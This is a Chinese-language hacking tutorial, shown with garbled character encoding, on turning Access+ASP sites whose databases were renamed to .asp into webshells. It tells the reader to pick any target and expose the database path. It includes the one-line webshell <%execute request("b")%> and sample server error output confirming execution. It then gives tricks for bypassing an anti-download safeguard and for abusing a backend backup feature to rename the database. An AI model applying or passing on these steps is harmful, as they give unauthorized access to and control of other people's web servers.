可能是隨著網(wǎng)絡(luò)安全技術(shù)的發(fā)展吧,管理員的素質(zhì)都在提高,在使用access+asp系統(tǒng)時(shí),為不數(shù)據(jù)庫被人下載,到把mdb改為asp或asa。先不說直接改后綴,直接可以用網(wǎng)快等工具直接下載,其實(shí)這樣你已經(jīng)是為入侵者打開了大門。入侵者可以利用asp/asa為后綴的數(shù)據(jù)庫直接得到webshell。
一.思路
大家都知道<%%>為asp文件的標(biāo)志符,也就是說一個(gè)asp文件只會(huì)去執(zhí)行<% %><% %>之間的代碼,access+asp的web系統(tǒng)的所有數(shù)據(jù)都是存放在數(shù)據(jù)庫文件里(mdb文件),由于管理者把mdb文件改為了asp文件,如果我們提交的數(shù)據(jù)里包含有<% %><%%>,那當(dāng)我們?cè)L問這個(gè)asp數(shù)據(jù)庫的時(shí)候就會(huì)去執(zhí)行<%%><% %>之間的代碼。這樣導(dǎo)致我們只提交惡意代碼給數(shù)據(jù)庫,那么asp后綴的數(shù)據(jù)庫就是我們的webshell了。
二.示例
隨便找個(gè)目標(biāo),首先我們暴庫,看是不是asp后綴的數(shù)據(jù)庫:
返回:
Microsoft VBScript 編譯器錯(cuò)誤 錯(cuò)誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 錯(cuò)誤 '80004005'
'D:\log_mdb\%29dlog_mdb%29.asp'不是一個(gè)有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務(wù)器。
/test/conn.asp,行18
< %execute request("b")%>
/iisHelp/common/500-100.asp,行242
Microsoft VBScript 運(yùn)行時(shí)錯(cuò)誤 錯(cuò)誤 '800a000d'
類型不匹配: 'execute'
/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266
我們的插入的代碼運(yùn)行了。如下圖:
注意:我們?cè)谙驍?shù)據(jù)庫提交代碼時(shí),代碼內(nèi)容不可以太大。所以我們采用<%execute request("b")%><%execute request("b")%>。
三.其他一些問題和思路
1.對(duì)于改了后綴為asp,還對(duì)數(shù)據(jù)庫里加入了<%=’a’-1%><%=’a’-1%>等非法的asp代碼來徹底防止下載的數(shù)據(jù)庫,由于里面存在了非法的asp代碼,插入我們的webshell代碼后運(yùn)行,將只會(huì)顯示前面非法代碼的錯(cuò)誤,而不去執(zhí)行我們shell的代碼。雖然這樣可以防止一定的攻擊,但還是存在一定的隱患,我們只要在出錯(cuò)的代碼前加入兼容錯(cuò)誤的代碼,就可以得到正確顯示執(zhí)行我們插入的webshell代碼了。
2.對(duì)于沒有改后綴的,也就是mdb文件,這樣我們可以先直接下載下來得到后臺(tái)密碼,進(jìn)了后臺(tái),可以利用數(shù)據(jù)庫備用改后綴為asp。